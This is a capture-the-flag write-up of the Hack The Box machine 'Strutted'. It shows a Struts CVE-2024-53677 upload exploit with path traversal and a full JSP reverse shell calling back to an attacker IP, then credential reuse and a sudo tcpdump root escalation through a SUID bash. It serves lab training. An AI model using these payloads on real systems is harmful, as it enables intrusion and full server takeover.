Description

Strutted is a medium Hack The Box machine that features:

  • Image upload web application with Apache Struts vulnerable to Remote Command Execution
  • User Pivoting by leaked credential in a configuration file
  • Privilege Escalation by using tcpdump tool ran as root user

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.59.

$ ping -c 3 10.10.11.59
PING 10.10.11.59 (10.10.11.59) 56(84) bytes of data.
64 bytes from 10.10.11.59: icmp_seq=1 ttl=63 time=44.1 ms
64 bytes from 10.10.11.59: icmp_seq=2 ttl=63 time=43.3 ms
64 bytes from 10.10.11.59: icmp_seq=3 ttl=63 time=43.5 ms

--- 10.10.11.59 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.274/43.637/44.093/0.340 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.10.11.59 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.59
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds

We get two open ports: 22 and 80.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.10.11.59 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.59
Host is up (0.044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.87 seconds

We get two services: one Secure Shell (SSH), and one Hypertext Transfer Protocol (HTTP). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. It seems to be a Python web application. We add the strutted.htb domain to the /etc/hosts file.

$ echo '10.10.11.59 strutted.htb' | sudo tee -a /etc/hosts

We find a web page offering a image upload service by getting a download link. By clicking the Download button we download a .zip file with the Docker image of the web service.

$ unzip strutted.zip -d strutted
$ cd strutted
$ ls
context.xml  Dockerfile  README.md  strutted  tomcat-users.xml
$ cat Dockerfile               
FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine

RUN apk add --no-cache maven

COPY strutted /tmp/strutted
WORKDIR /tmp/strutted

RUN mvn clean package

FROM tomcat:9.0

RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT

COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml

EXPOSE 8080

CMD ["catalina.sh", "run"]

In the Dockerfile file we find that the application is using openjdk-17 with the tomcat9 web server. The dependencies of the project are stored in the strutted/pom.xml file.

$ cat strutted/pom.xml 
...
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <struts2.version>6.3.0.1</struts2.version>
        <jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
        <maven.javadoc.skip>true</maven.javadoc.skip>
        <jackson.version>2.14.1</jackson.version>
        <jackson-data-bind.version>2.14.1</jackson-data-bind.version>
    </properties>
...
    <dependencies>
        <dependency>
            <groupId>org.apache.struts</groupId>
            <artifactId>struts2-core</artifactId>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
        </dependency>
        <dependency>
          <groupId>org.xerial</groupId>
          <artifactId>sqlite-jdbc</artifactId>
          <version>3.47.1.0</version>
        </dependency>
    </dependencies>
...

We find an interesting one, org.apache.struts in its 6.3.0.1 version. Apache Struts is vulnerable to Remote Command Execution, CVE-2024-53677. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. This issue affects Apache Struts: from 2.0.0 before 6.4.0. It is only affecting applications using the FileuploadInterceptor logic.

Exploitation

After uploading an image, we intercept the HTTP POST request with a proxy.

POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBHn2jr8unMGz2SvL
Cookie: JSESSIONID=B6681201AA5C344F9235EACD69942DF9
Connection: keep-alive

------WebKitFormBoundaryBHn2jr8unMGz2SvL

Content-Disposition: form-data; name="upload"; filename="aaa.png"

Content-Type: image/png
...

In a proof of concept uploaded by EQSTLab in GitHub we find that we can inject the top.UploadFileName parameter to inject the directory by path traversal to indicate where we want to upload the file. We also find that we need to use the Upload as the upload file name. In the source code of the application we find that its checking if the file is an image by checking the extension and the magic bytes. So we will need to bypass this to upload the image that will become in a remote shell.

$ cat strutted/src/main/java/org/strutted/htb/Upload.java
...
    private boolean isAllowedContentType(String contentType) {
        String[] allowedTypes = {"image/jpeg", "image/png", "image/gif"};
        for (String allowedType : allowedTypes) {
            if (allowedType.equalsIgnoreCase(contentType)) {
                return true;
            }
        }
        return false;
    }

    private boolean isImageByMagicBytes(File file) {
        byte[] header = new byte[8];
        try (InputStream in = new FileInputStream(file)) {
            int bytesRead = in.read(header, 0, 8);
            if (bytesRead < 8) {
                return false;
            }

            // JPEG
            if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
                return true;
            }

            // PNG
            if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
                return true;
            }

            // GIF (GIF87a or GIF89a)
            if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
                header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
                return true;
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

        return false;
    }

When we upload the file we find that is uploaded to the uploads/<DATE_TIME>/<IMAGE_NAME>.png file, so we will path traversal as ../../reverse_shell.jsp to upload the file. We can use the webshell from LaiKash. We need to start a listening TCP port. That is the full request we are going to sent (we need to maintain the PNG magic bytes):

POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBHn2jr8unMGz2SvL
Content-Length: 3882

------WebKitFormBoundaryBHn2jr8unMGz2SvL
Content-Disposition: form-data; name="Upload"; filename="aaa.png"
Content-Type: image/png

‰PNG

<%
    /*
     * Usage: This is a 2 way shell, one web shell and a reverse shell. First, it will try to connect to a listener (atacker machine), with the IP and Port specified at the end of the file.
     * If it cannot connect, an HTML will prompt and you can input commands (sh/cmd) there and it will prompts the output in the HTML.
     * Note that this last functionality is slow, so the first one (reverse shell) is recommended. Each time the button "send" is clicked, it will try to connect to the reverse shell again (apart from executing 
     * the command specified in the HTML form). This is to avoid to keep it simple.
     */
%>

<%@page import="java.lang.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.*"%>

<html>
<head>
    <title>jrshell</title>
</head>
<body>
<form METHOD="POST" NAME="myform" ACTION="">
    <input TYPE="text" NAME="shell">
    <input TYPE="submit" VALUE="Send">
</form>
<pre>
<%

    // Define the OS
    String shellPath = null;
    try
    {
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
            shellPath = new String("/bin/sh");
        } else {
            shellPath = new String("cmd.exe");
        }
    } catch( Exception e ){}

    // INNER HTML PART

    if (request.getParameter("shell") != null) {
        out.println("Command: " + request.getParameter("shell") + "\n<BR>");
        Process p;
        if (shellPath.equals("cmd.exe"))
            p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("shell"));
        else
            p = Runtime.getRuntime().exec("/bin/sh -c " + request.getParameter("shell"));

        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr);
            disr = dis.readLine();
        }
    }

    // TCP PORT PART
    class StreamConnector extends Thread
    {
        InputStream wz;
        OutputStream yr;

        StreamConnector( InputStream wz, OutputStream yr ) {
            this.wz = wz;
            this.yr = yr;
        }

        public void run()
        {
            BufferedReader r  = null;
            BufferedWriter w = null;
            try
            {
                r  = new BufferedReader(new InputStreamReader(wz));
                w = new BufferedWriter(new OutputStreamWriter(yr));
                char buffer[] = new char[8192];
                int length;
                while( ( length = r.read( buffer, 0, buffer.length ) ) > 0 )
                {
                    w.write( buffer, 0, length );
                    w.flush();
                }
            } catch( Exception e ){}
            try
            {
                if( r != null )
                    r.close();
                if( w != null )
                    w.close();
            } catch( Exception e ){}
        }
    }

    try {
        Socket socket = new Socket( "10.10.14.14", 1234 ); // Replace with wanted ip and port
        Process process = Runtime.getRuntime().exec( shellPath );
        new StreamConnector(process.getInputStream(), socket.getOutputStream()).start();
        new StreamConnector(socket.getInputStream(), process.getOutputStream()).start();
        out.println("port opened on " + socket);
     } catch( Exception e ) {}

%>
</pre>
</body>
</html>
------WebKitFormBoundaryBHn2jr8unMGz2SvL
Content-Disposition: form-data; name="top.UploadFileName"

../../reverse_shell.jsp
------WebKitFormBoundaryBHn2jr8unMGz2SvL--

We run the uploaded file with curl.

$ curl 'http://strutted.htb/reverse_shell.jsp'

We receive a reverse shell as the tomcat user, we upgrade it.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.59] 47272
id
uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)
script /dev/null -c bash
Script started, output log file is '/dev/null'.
tomcat@strutted:~$ ^Z
[1]  + 48287 suspended  nc -nvlp 1234
$ stty raw -echo; fg
$ reset xterm
tomcat@strutted:~$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Exploitation

As console users, we find root and james.

tomcat@strutted:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
james:x:1000:1000:Network Administrator:/home/james:/bin/bash

In the conf/tomcat-users.xml we find a password, IT14d6SSP81k.

tomcat@strutted:~$ cat conf/tomcat-users.xml
...
<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
...

We find that it is the password of the james Linux user and we can login using SSH, but no with su.

$ ssh james@strutted.htb
james@strutted:~$ id
uid=1000(james) gid=1000(james) groups=1000(james),27(sudo)
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump

We find that james belongs to the sudo group, and he can run tcpdump command as root user. As we can see in GTFOBins, this is a vulnerability and we can use it to run commands as the root user, for example to create a SUID Bash binary. We get a shell as the root user.

james@strutted:~$ COMMAND='cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel

james@strutted:~$ ls -l /tmp/suid-bash 
-rwsr-xr-x 1 root root 1396520 /tmp/suid-bash
james@strutted:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1000(james) gid=1000(james) euid=0(root) groups=1000(james),27(sudo)

Flags

In the root shell we can retrieve the user.txt and the root.txt flags.

suid-bash-5.1# cat /home/james/user.txt 
<REDACTED>
suid-bash-5.1# cat /root/root.txt 
<REDACTED>